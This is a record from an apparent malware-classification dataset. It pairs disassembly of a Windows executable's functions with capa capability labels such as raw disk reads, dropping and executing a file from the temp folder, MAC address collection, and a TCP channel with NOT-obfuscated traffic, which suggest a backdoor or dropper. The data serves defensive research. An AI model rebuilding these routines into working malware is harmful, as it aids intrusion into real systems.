joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402400
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, 0x41ccf4
mov dword [esp], 0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402412
sub eax, edx
sar eax, 1
je 0x402429
xor eax, eax
add esp, 0x18
ret
push 0x41cda4
lea eax, [esp + 4]
push 0x41ccf4
push eax
call fcn.0040970c
add esp, 0xc
test eax, eax
jne 0x402423
mov edx, dword [esi + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov word [esp + 0x14], ax
mov eax, dword [esp]
push eax
mov ecx, 0x4d42
push 1
mov word [esp + 0x10], cx
lea ecx, [esp + 0x10]
add edx, 0xe
push 0xe
push ecx
mov dword [esp + 0x1a], edx
mov dword [esp + 0x22], 0x36
call fcn.004098c1
mov edx, dword [esp + 0x10]
mov eax, dword [esi + 4]
mov ecx, dword [esi]
push edx
push 1
push eax
push ecx
call fcn.004098c1
mov edx, dword [esp + 0x20]
push edx
call fcn.004099ba
add esp, 0x24
mov eax, 1
add esp, 0x18
ret

Function at 0x4024b0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x118
lea eax, [esp + 8]
push 0
push eax
mov dword [0x421070], 0
call fcn.00410fc0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40259f
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x402564
mov eax, dword [esp + 8]
test eax, eax
jne 0x40253b
cmp word [esp + 0x114], 4
jb 0x40259f
mov dword [0x421070], 1
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.004090f6
add esp, 0x120
ret
cmp eax, 2
jae 0x402545
cmp eax, 1
jne 0x40259f
mov dword [0x421070], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.004090f6
add esp, 0x120
ret
cmp eax, 6
jne 0x40259f
mov eax, dword [esp + 8]
test eax, eax
jne 0x402590
mov dword [0x421070], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.004090f6
add esp, 0x120
ret
cmp eax, 1
jne 0x40259f
mov dword [0x421070], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.004090f6
add esp, 0x120
ret

Function at 0x402670
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00410fc0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x40273f
mov eax, 0x41cdac
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4026b5
sub eax, edx
sar eax, 1
je 0x40273f
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41cdac
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00409105
push 0x41cdc8
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040970c
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x40273f
push eax
push 1
push 0x200
push esi
call fcn.0040a45d
mov eax, dword [esp + 0x14]
push eax
call fcn.004099ba
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004090f6
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.004090f6
add esp, 0x214
ret
Function at 0x402760
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.00410fc0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402865
mov eax, 0x41cd84
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4027a5
sub eax, edx
sar eax, 1
je 0x402865
cmp dword [0x421070], 3
jne 0x4027ec
push 0x104
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41cd10
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00409105
add esp, 0xc
jmp 0x4027fc
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41cd84
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.00409105
push 0x41cdc8
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.0040970c
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402865
push eax
push 1
push 0x200
push esi
call fcn.0040a45d
mov edx, dword [esp + 0x14]
push edx
call fcn.004099ba
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004090f6
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.004090f6
add esp, 0x214
ret

Function at 0x402880
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00410fc0
add esp, 0xc
cmp dword [0x421070], 3
jne 0x4028e0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41cd10
lea eax, [esp + 4]
push 0x104
push eax
call fcn.00409105
add esp, 0xc
jmp 0x4028ef
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x41cdd0
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.004090f6
add esp, 0x20c
ret

Function at 0x402ac0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00410fc0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402d10
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00402e20
cmp eax, 0xffffffff
jne 0x402b42
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004090f6
add esp, 0x218
ret
push esi
call fcn.004029f0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.004090f6
add esp, 0x218
ret
Function at 0x402b70
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x402c8e
push 0xb69
call fcn.004095e1
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xb69
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402c81
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x30]
test eax, eax
jl 0x402be9
jg 0x402bdd
test ecx, ecx
jbe 0x402be9
mov ebx, dword [esi + 0x38]
mov ebp, dword [esi + 0x3c]
mov edx, ecx
mov edi, eax
jmp 0x402bed
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xbd]
cmp eax, edi
mov ecx, dword [esi + 0xb9]
jl 0x402c17
jg 0x402c03
cmp ecx, edx
jbe 0x402c17
mov ebx, dword [esi + 0xc1]
mov ebp, dword [esi + 0xc5]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x146]
cmp eax, edi
mov ecx, dword [esi + 0x142]
jl 0x402c41
jg 0x402c2d
cmp ecx, edx
jbe 0x402c41
mov ebx, dword [esi + 0x14a]
mov ebp, dword [esi + 0x14e]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1cf]
cmp eax, edi
mov ecx, dword [esi + 0x1cb]
jl 0x402c6b
jg 0x402c57
cmp ecx, edx
jbe 0x402c6b
mov ebx, dword [esi + 0x1d3]
mov ebp, dword [esi + 0x1d7]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00415f00
mov dword [esp + 0x10], eax
test esi, esi
je 0x402c8e
push esi
call fcn.00409182
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402cb0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x402d01
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x402f70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.0040920e
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x41e940]
fadd qword [0x41e958]
call fcn.00415e50
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x403090
call fcn.0040920e
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x41e940]
fmul qword [0x41e950]
fadd qword [0x41e948]
call fcn.00415e50
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x403078
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x403069
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x403060
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x403027
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x403130
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.00410fc0
add esp, 0xc
cmp edi, esi
je 0x403218
mov eax, 0x41ccf4
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x403175
sub eax, edx
sar eax, 1
je 0x40319f
push 0x41cda4
lea edx, [esp + 8]
push 0x41ccf4
push edx
call fcn.0040970c
add esp, 0xc
jmp 0x4031da
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41cdac
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.00409105
push 0x41cda4
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.0040970c
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x4031fd
push eax
push 1
push 0x200
push edi
call fcn.004098c1
mov ecx, dword [esp + 0x14]
push ecx
call fcn.004099ba
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004090f6
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.004090f6
add esp, 0x214
ret
Function at 0x403230
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x41cdc8
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.0040970c
add esp, 0xc
test eax, eax
je 0x403254
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0040a9c6
mov eax, dword [esp + 0x1c]
push eax
call fcn.0040a85a
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0040a9c6
lea ebp, [esi + 0x32]
push ebp
call fcn.004094ad
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.0040a45d
mov eax, dword [esp + 0x40]
push eax
call fcn.004099ba
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00403300
mov ecx, dword [esp + 0x4c]
push 0x41cda4
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.0040970c
add esp, 0x40
test eax, eax
je 0x4032d2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.004098c1
mov ecx, dword [esp + 0x20]
push ecx
call fcn.004099ba
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x403350
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x41ce38
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.0040a8c8
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.0040a47a
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.0040a690
add esp, 0x14
test eax, eax
je 0x4033db
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4034d7
mov eax, 0x421118
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403410
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403427
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403440
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.004095e1
push edi
mov esi, eax
push 0
push esi
call fcn.00410fc0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x421118
push edi
push esi
call fcn.00409be6
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403490
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x41ce44
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x4034d5
push esi
call fcn.00409182
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.004090f6
add esp, 0x314
ret
Function at 0x403910
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x3c
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x40]
push ebx
push ebp
push esi
mov esi, edx
mov dword [esp + 0x18], eax
xor eax, eax
xor edx, edx
push 0x288
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x10], 0xffffffff
mov word [esp + 0x28], dx
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov word [esp + 0x46], ax
xor ebx, ebx
call fcn.004094ad
mov ebp, eax
add esp, 4
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4039a3
push ebp
call fcn.004093d0
mov ecx, dword [esp + 0x14]
push ecx
call fcn.004094ad
add esp, 8
mov ebp, eax
lea edx, [esp + 0x10]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x403a87
mov eax, ebp
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x403a87
push edi
jmp 0x4039d4
mov eax, dword [esp + 0x18]
inc dword [esp + 0x10]
test esi, esi
je 0x4039ef
mov ecx, dword [eax + 0x194]
mov dword [esi], ecx
mov dx, word [eax + 0x198]
mov word [esi + 4], dx
lea edi, [eax + 0x1ac]
test edi, edi
je 0x403a74
lea esp, [esp]
lea edx, [edi + 4]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403a08
sub eax, esi
mov ecx, eax
cmp ecx, 0x10
jle 0x403a1d
mov ecx, 0x10
xor eax, eax
test ecx, ecx
jl 0x403a3d
cmp eax, ecx
jne 0x403a2e
xor esi, esi
mov word [esp + eax*2 + 0x28], si
movsx si, byte [edx + eax]
mov word [esp + eax*2 + 0x28], si
inc eax
cmp eax, ecx
jle 0x403a25
lea eax, [esp + 0x28]
push eax
call fcn.00403640
add esp, 4
test eax, eax
je 0x403a65
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + ebx*4]
lea ecx, [esp + 0x28]
push ecx
push 0x10
push eax
call fcn.0040918d
add esp, 0xc
mov edi, dword [edi]
inc ebx
test edi, edi
jne 0x403a00
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x24]
test ebx, ebx
jg 0x403a86
mov eax, dword [eax]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x4039d0
pop edi
mov ecx, dword [esp + 0x1c]
mov dword [ecx], ebx
test ebp, ebp
je 0x403a9a
push ebp
call fcn.004093d0
add esp, 4
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004090f6
add esp, 0x3c
ret
Function at 0x403e80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403fc0
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x403f9d
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00410fc0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00410fc0
add esp, 0xc
lea esi, [esp + 8]
call fcn.00403d70
push 0x41cd10
mov ecx, esi
push 0x104
push ecx
call fcn.00409105
add esp, 0xc
mov esi, 0x422210
cmp word [esi], 0
je 0x403f3c
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040918d
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00409105
add esp, 0xc
add esi, 0x118
cmp esi, 0x422788
jl 0x403f06
mov esi, 0x422210
nop
cmp word [esi], 0
je 0x403f61
push ebx
push edi
push esi
call fcn.00404820
add esp, 0xc
add esi, 0x118
cmp esi, 0x422788
jl 0x403f50
push 0x422e00
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00409105
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403f9b
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.004090f6
add esp, 0x41c
ret

Function at 0x4041d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x4041fb
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404230
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.004090f6
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x404218
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x40426c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x4042c5
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4042c5
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.004090f6
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x4042d4
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004090f6
add esp, 0x9b0
ret
Function at 0x404430
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x4044b2
cmp edi, eax
jle 0x40445d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404450
lea ebx, [edi + 7]
push ebx
call fcn.004095e1
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x421074]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x421078]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0040ebd0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4044b6
cmp eax, ebx
jne 0x4044b6
mov dword [esp + 0xc], 1
jmp 0x4044b6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x4044c3
push esi
call fcn.00409182
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404690
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x4046d1
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4047ed
test edx, edx
je 0x4047ed
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.00410fc0
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404805
test eax, eax
je 0x404805
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.004095e1
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4047db
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4047b9
test eax, eax
je 0x4047b9
add esi, eax
cmp edi, esi
jg 0x404744
cmp esi, 5
jl 0x4047db
mov ecx, dword [0x421074]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x4047db
mov dl, byte [ebx + 4]
cmp dl, byte [0x421078]
jne 0x4047db
test esi, esi
jle 0x40479c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404790
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x4047c1
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040ebd0
mov dword [edi], esi
jmp 0x4047d0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4047db
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040ebd0
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4047e8
push ebx
call fcn.00409182
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.004090f6
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004090f6
add esp, 0x8d8
ret